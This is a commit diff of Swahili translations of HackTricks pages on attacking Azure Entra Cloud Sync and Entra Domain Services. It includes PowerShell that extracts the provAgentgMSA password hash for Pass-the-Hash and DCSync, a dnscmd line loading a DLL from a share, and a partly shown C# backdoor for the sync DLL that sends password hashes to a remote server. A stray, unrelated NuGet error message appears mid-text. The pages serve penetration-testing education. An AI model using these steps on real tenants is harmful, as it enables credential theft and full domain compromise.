Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

This commit is contained in:
Translator
2026-03-03 18:14:24 +00:00
parent b66f5938aa
commit b68bf932af
2 changed files with 46 additions and 48 deletions

View File

@@ -2,55 +2,56 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Maelezo ya Msingi
**Cloud Sync** ni njia mpya ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni toleo jipya kutoka Microsoft lililoundwa ili kukidhi na kufikia malengo yako ya utambulisho wa mchanganyiko kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inafanikiwa kwa kutumia wakala wa usambazaji wa wingu wa Microsoft Entra badala ya programu ya Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ni ofa mpya kutoka Microsoft iliyoundwa kufikia na kutimiza malengo yako ya utambulisho mseto kwa kusawazisha watumiaji, vikundi, na mawasiliano hadi Microsoft Entra ID. Inayafanya kazi kwa kutumia the Microsoft Entra cloud provisioning agent badala ya programu Microsoft Entra Connect. Hata hivyo, inaweza kutumika pamoja na Microsoft Entra Connect Sync.
### Principals Generated
Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka ya On-Premise:
Ili hii ifanye kazi, baadhi ya principals huundwa katika Entra ID na On-Premise directory:
- Katika Entra ID, mtumiaji `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) ameundwa na jukumu **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
- Katika Entra ID mtumiaji `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) huundwa na jukumu **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
> [!WARNING]
> Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika [**kuinua ruhusa hata kwa msimamizi wa kimataifa**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo haimruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP).
> Jukumu hili zamani lilikuwa na ruhusa nyingi za kipekee na lingeweza kutumika [**kuongeza ruhusa hata hadi global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kulipa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo hairuhusu kufanya vitendo vyenye ruhusa (kama kubadilisha password au atribbutes za mtumiaji au kuongeza credential mpya kwa SP).
- Katika Entra ID pia kundi **`AAD DC Administrators`** limeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwa [`Microsoft Entra Domain Services`](./az-domain-services.md) inatumika.
- Katika Entra ID pia kikundi **`AAD DC Administrators`** huundwa bila wanachama au wamiliki. Kikundi hiki ni muhimu ikiwa [`Microsoft Entra Domain Services`](./az-domain-services.md) inatumiwa.
- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida, ile ya kawaida inaundwa.
- Katika AD, ama Service Account **`provAgentgMSA`** huundwa na SamAcountName kama **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya custom yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida ile ya default ndio huundwa.
> [!WARNING]
> Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayekabiliwa nayo kuathiri saraka nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> Miongoni mwa ruhusa nyingine Service Account **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote ambaye anaimarisha akaunti hii kuathiri directory nzima**. Kwa habari zaidi kuhusu DCSync angalia [this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
> [!NOTE]
> Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja **wanaweza kusawazishwa**.
> Kwa default watumiaji wa vikundi vinavyojulikana vya mamlaka kama Domain Admins wenye attribute **`adminCount` kwa 1 hawasasishwa** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vyenye mamlaka bila attribute hii au walioteuliwa moja kwa moja kwa ruhusa za juu **wanaweza kusawazishwa**.
## Password Sychronization
Sehemu hii ni sawa na ile kutoka:
Sehemu hii ni sawa sana na ile kutoka:
{{#ref}}
az-connect-sync.md
{{#endref}}
- **Kusawazisha hash ya nenosiri** kunaweza kuwezeshwa ili watumiaji waweze **kuingia katika Entra ID wakitumia nenosiri zao kutoka AD**. Zaidi ya hayo, kila wakati nenosiri linapobadilishwa katika AD, litasasishwa katika Entra ID.
- **Kurejesha nenosiri** pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika eneo la ndani. Lakini kulingana na [nyaraka za sasa](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Wakala wa Connect, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi.
- **Kurejesha vikundi**: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya ndani. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD.
- **Password hash synchronization** inaweza kuwezeshwa ili watumiaji waweze **kuingia kwenye Entra ID kwa kutumia nenosiri zao kutoka AD**. Zaidi ya hayo, kila mara nenosiri linapobadilishwa kwenye AD, litasasishwa kwenye Entra ID.
- **Password writeback** pia inaweza kuwezeshwa, ikiwaruhusu watumiaji kubadilisha nenosiri lao katika Entra ID na kusawazisha nenosiri lao kwa moja kwa moja kwenye domain ya on-premise. Lakini kwa mujibu wa [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Connect Agent, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa taarifa zaidi.
- **Groups writeback**: Kiwango hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya on-premises. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kikundi katika Entra ID, pia ataongezwa kwenye kikundi kinacholingana katika AD.
## Pivoting
### AD --> Entra ID
- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD hadi Entra ID ni rahisi, tu **kabili nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu)**.
- Ikiwa watumiaji wa AD wanasawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD kwenda Entra ID ni rahisi, tu **pata udhaifu wa nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye Entra ID directory (kawaida ni dakika chache)**.
Hivyo unaweza kwa mfano
- Kabiliana na akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID.
- Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
- Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID.
Kwa mfano unaweza:
- Udanganye account **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani kisha uitumie kuingia kwenye Entra ID.
- Unda mtumiaji mpya katika AD, subiri hadi asawazishwe kwenye Entra ID kisha umtumie kuingia kwenye Entra ID.
- Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi lisawazishwe kwenye Entra ID kisha utumie kuingia kwenye Entra ID.
Ili kukabili akidi za **`provAgentgMSA`**:
Ili kupata credentials za **`provAgentgMSA`**:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
@@ -72,22 +73,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio za DCSync dhidi ya AD.
Sasa unaweza kutumia hash ya gMSA kutekeleza Pass-the-Hash attack dhidi ya Entra ID ukitumia akaunti `provAgentgMSA` na kudumisha persistence kwa kuwa na uwezo wa kufanya DCSync attacks dhidi ya AD.
Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia:
For more information about how to compromise an Active Directory check:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}
> [!NOTE]
> Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya **makundi ya Entra ID kutoka AD** yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au **makundi ya kidinamik** yanaweza kutumika, hivyo kila wakati angalia sheria za kidinamik na njia zinazoweza kutumika kuzitumia:
> Kumbuka kwamba hakuna njia ya kuwapa watumiaji waliosawazishwa roles za Azure au EntraID kulingana na sifa zao, kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kuwapatia watumiaji waliosawazishwa ruhusa moja kwa moja, baadhi ya **Entra ID groups from AD** zinaweza kupewa ruhusa ili watumiaji waliomo ndani ya makundi hayo pia wapate ruhusa hizo au **dynamic groups might be used**, kwa hivyo daima angalia sheria za dynamic na njia zinazowezekana za kuvitumia vibaya:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
Kuhusu uthibitisho [hii chapisho la blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) linaonyesha kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) kuingiza nyuma dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa **`PasswordHashGenerator`** na chapisho la blog linaonyesha kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka `use System.Net` na matumizi ya `WebClient` kutoa hash za nywila):
Kuhusu persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) inapendekeza kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) ku-backdoor dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumiwa na Cloud Sync agent kutekeleza password synchronization, ikifanya iwe inatoa (exfiltrate) password hashes za watumiaji wanaosawazishwa kwa seva ya mbali. Hashes hizi zinatengenezwa ndani ya darasa **`PasswordHashGenerator`** na blogi hiyo inapendekeza kuongeza msimbo fulani ili darasa libadilike kama ifuatavyo (kumbuka `use System.Net` na matumizi ya `WebClient` kutolea nje password hashes):
```csharp
using System;
using System.Net;
@@ -121,22 +122,19 @@ RawHash = passwordHashData.RawHash
}
}
```
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
. Please see Error List window for detailed warnings and errors.
### Entra ID --> AD
- Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kwa kutumia wakala huo.
- Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la baadhi ya watumiaji kwenye Entra ID, na ikiwa una upatikanaji kwenye mtandao wa AD, unaweza kuingia ukitumia hayo nenosiri. Kwa taarifa zaidi angalia [Az Connect Sync section](./az-connect-sync.md) kwani Password Writeback imewekwa kupitia wakala huyo.
- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walikuwa wamesawazishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
- Kwa sasa Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda niligundua kuwa haiwezi kusawazisha watumiaji wa EntraID kwenda AD na inaweza kusawazisha watumiaji wa EntraID tu ambao walikuwa wamesawazishwa kwa password hash na wanatoka kwenye domain inayomilikiwa na domain forest ile ile kama domain tunayokusawazisha, kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
> - Makundi haya yanaweza kuwa na watumiaji waliosawazishwa wa on-premises na / au makundi ya usalama yaliyoundwa na wingu.
> - Akaunti za watumiaji wa on-premises ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoundwa na wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka msitu mmoja.
> - Vikundi hivi vinaweza kujumuisha watumiaji waliosawazishwa wa on-premises na/au vikundi vya ziada vya usalama vilivyoundwa kwenye cloud.
> - Akaunti za watumiaji za on-premises ambazo zimesawazishwa na ni wanachama wa kikundi hiki cha usalama kilichoundwa kwenye cloud, zinaweza kuwa kutoka domain ile ile au cross-domain, lakini zote lazima ziwe kutoka forest ile ile.
Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji anahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi).
Hivyo uso wa shambulio (na ufanisi) wa huduma hii umepunguzwa sana, kwani mshambuliaji angehitaji kuvamia AD ya awali ambako watumiaji wanasawazishwa ili kuvamia akaunti ya mtumiaji katika domain nyingine (na zote mbili lazima ziwe ndani ya forest ile ile, inaonekana).
### Enumeration
### Uorodheshaji
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

View File

@@ -2,27 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
## Domain Services
## Huduma za Domain
Microsoft Entra Domain Services inaruhusu kupeleka Active Directory ndani ya Azure bila kuhitaji kusimamia Domain Controllers (kwa kweli hata huna ufikiaji kwao).
Microsoft Entra Domain Services inaruhusu kupeleka Active Directory kwenye Azure bila haja ya kusimamia Domain Controllers (kwamba kwa kweli hata huna ufikiaji kwao).
Lengo lake kuu ni kukuwezesha kuendesha applications za legacy katika cloud ambazo haziwezi kutumia mbinu za kisasa za uthibitisho, au pale ambapo hutaki directory lookups zirudi kila mara kwenye mazingira ya onpremises AD DS.
Lengo lake kuu ni kukuwezesha kuendesha programu za urithi kwenye wingu ambazo haziwezi kutumia mbinu za kisasa za uthibitishaji, au pale ambapo hupendi utaftaji wa directory kurejea kila mara kwenye on-premises AD DS environment.
Kumbuka kwamba ili kusanidi watumiaji waliotengenezwa katika Entra ID (na ambao hawajasimamiwa kutoka kwa active directories nyingine) kwenda AD domain service unahitaji **kubadilisha password ya mtumiaji** kuwa mpya ili iweze kusanidiwa na AD mpya. Kwa kweli, mtumiaji haisaniswi kutoka Microsoft Entra ID kwenda Domain Services hadi password itakapobadilishwa.
Kumbuka kwamba ili kusawazisha watumiaji waliotengenezwa katika Entra ID (na wasiokuwa wamesawazishwa kutoka active directories nyingine) na AD domain service unahitaji **kubahisha password ya mtumiaji** kuwa mpya ili iweze kusawazishwa na AD mpya. Kwa kweli, mtumiaji hasawazishwi kutoka Microsoft Entra ID kwenda Domain Services hadi password ibadilishwe.
> [!WARNING]
> Hata kama unaunda domain mpya ya active directory hautaweza kuuisimamia kikamilifu (isipokuwa bila kutumia baadhi ya misconfigurations), ambayo inamaanisha kwamba kwa default kwa mfano huwezi kuunda watumiaji moja kwa moja katika AD. Unawaunda kwa **kusanidiwatumiaji kutoka Entra ID.** Unaweza kubainisha kusanidi watumiaji wote (hata wale wamesanidiwa kutoka kwa onpremise ADs nyingine), watumiaji wa cloud pekee (watumiaji waliotengenezwa katika Entra ID), au hata **kuwapimia zaidi**.
> Hata kama unaunda domain mpya ya Active Directory hutaweza kuisimamia kikamilifu (isipokuwa ukitumia baadhi ya misconfigurations), ambayo inamaanisha kuwa kwa chaguo-msingi kwa mfano huwezi kuunda watumiaji moja kwa moja ndani ya AD. Unawaunda kwa **kusawazisha watumiaji kutoka Entra ID.** Unaweza kuamuru kusawazisha watumiaji wote (hata wale waliosawazishwa kutoka AD nyingine za onpremise), watumiaji wa cloud pekee (watumiaji waliotengenezwa katika Entra ID), au hata **kuwaweka vichujio zaidi**.
> [!NOTE]
> Kwa ujumla, kutokana na ukosefu wa ufanisi katika usanidi wa domain mpya na ukweli kwamba ADs kwa kawaida tayari ziko onpremise, hii sio integrasheni kuu kati ya Entra ID na AD, lakini bado ni ya kuvutia kujua jinsi ya kuikomboa.
> Kwa ujumla, kutokana na ukosefu wa unyumbufu katika usanidi wa domain mpya na ukweli kwamba ADs kwa kawaida ziko tayari onpremise, hii si muunganisho mkuu kati ya Entra ID na AD, lakini bado ni muhimu kujua jinsi ya kuiteka.
### Pivoting
Members of the generated `AAD DC Administrators` group wanapewa ruhusa za local admin kwenye VMs ambazo zimejiunga na domain iliyosimamiwa (lakini si kwenye domain controllers) kwa sababu wanaongezwa kwenye local administrators group. Members of this group pia wanaweza kutumia **Remote Desktop to connect remotely to domain-joined VMs**, na pia ni members wa makundi yafuatayo:
Wanachama wa kikundi kilichotengenezwa cha **`AAD DC Administrators`** wanapewa ruhusa za admin za eneo kwenye VMs ambazo zimejiunga na domain iliyosimamiwa (lakini sio kwenye domain controllers) kwa sababu wanaongezwa kwenye kikundi cha local administrators. Wanachama wa kikundi hiki pia wanaweza kutumia **Remote Desktop to connect remotely to domain-joined VMs**, na pia ni wanachama wa makundi yafuatayo:
- **`Denied RODC Password Replication Group`**: Hii ni group inayobainisha watumiaji na makundi ambao nywila zao haziwezi kuhifadhiwa kwenye RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Group hii inaruhusu members kuunda Group Policies katika domain. Hata hivyo, members wake hawawezi kuapisha group policies kwa watumiaji au makundi au kuhariri GPOs zilizopo, hivyo si ya kuvutia sana katika mazingira haya.
- **`DnsAdmins`**: Group hii inaruhusu kusimamia settings za DNS na ilitumiwa vibaya zamani ili [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), hata hivyo baada ya kujaribu attack katika mazingira haya ilibainika kuwa udhaifu umepatiwa patch:
- **`Denied RODC Password Replication Group`**: Hii ni kikundi kinachobainisha watumiaji na makundi ambayo password zao haziwezi kukaa kwenye RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Kikundi hiki kinawawezesha wanachama kuunda Group Policies katika domain. Hata hivyo, wanachama wake hawawezi kutekeleza group policies kwa watumiaji au makundi wala kuhariri GPOs zilizopo, hivyo si muhimu sana katika mazingira haya.
- **`DnsAdmins`**: Kikundi hiki kinaruhusu kusimamia mipangilio ya DNS na kilitumiwa zamani ku [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), hata hivyo baada ya kujaribu shambulio katika mazingira haya kulithibitishwa kuwa udhaifu umerekebishwa:
```text
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -30,16 +30,16 @@ DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
Kumbuka kwamba, ili kuipa ruhusa hizi, ndani ya AD, kikundi **`AAD DC Administrators`** kimewekwa kama mwanachama wa vikundi vilivyotangulia, na pia GPO **`AADDC Computers GPO`** inaongeza kama Local Administrators wanachama wote wa kikundi cha domain **`AAD DC Administrators`**.
Kupitia kutoka Entra ID kwenda AD iliyoundwa na Domain Services ni rahisi — ingiza tu mtumiaji kwenye kikundi **`AAD DC Administrators`**, ingia kwa RDP kwenye mashine yoyote/nyote kwenye domain na utaweza kuiba data na pia **compromise the domain.**
Pivoting from Entra ID to an AD created with Domain Services ni rahisi — ongeza tu mtumiaji kwenye kikundi **`AAD DC Administrators`**, ingia kwa RDP kwenye mashine yoyote/nyote katika domain na utaweza kuiba data na pia **compromise the domain.**
Hata hivyo, kupita kutoka domain kwenda Entra ID si rahisi kwa sababu hakuna chochote kutoka domain kinachosynchronisewa ndani ya Entra ID. Kila mara angalia metadata ya VMs zote zilizounganishwa, kwani managed identities zao zilizotengwa zinaweza kuwa na ruhusa za kuvutia. Pia **dump all the users passwords from the domain** na jaribu ku-crack ili kisha ku-login kwenye Entra ID / Azure.
Hata hivyo, pivoting kutoka domain kwenda Entra ID si rahisi kwa sababu hakuna chochote kutoka domain kinachosawazishwa na Entra ID. Kila mara angalia metadata ya VMs zote zilizo-join kwani managed identities zao zilizoteuliwa zinaweza kuwa na ruhusa za kuvutia. Pia **dump all the users passwords from the domain** na jaribu kucrack ili kisha uingie kwenye Entra ID / Azure.
> [!NOTE]
> Kumbuka kwamba hapo zamani zilitambuliwa nyufa nyingine katika managed AD hii ambazo ziliruhusu compromise ya DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Mshambulizi akibora DC angeweza kwa urahisi kudumisha persistence bila Azure admins wakiyagundua au hata kuwa na uwezo wa kuiondoa.
> Kumbuka kwamba hapo awali udhaifu mwingine katika managed AD ulitambuliwa ambao uliruhusu compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Mshambuliaji aki-compromise DC anaweza kwa urahisi maintain persistence bila Azure admins wakigundua au hata kuwa na uwezo wa kuiondoa.
### Uorodheshaji
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \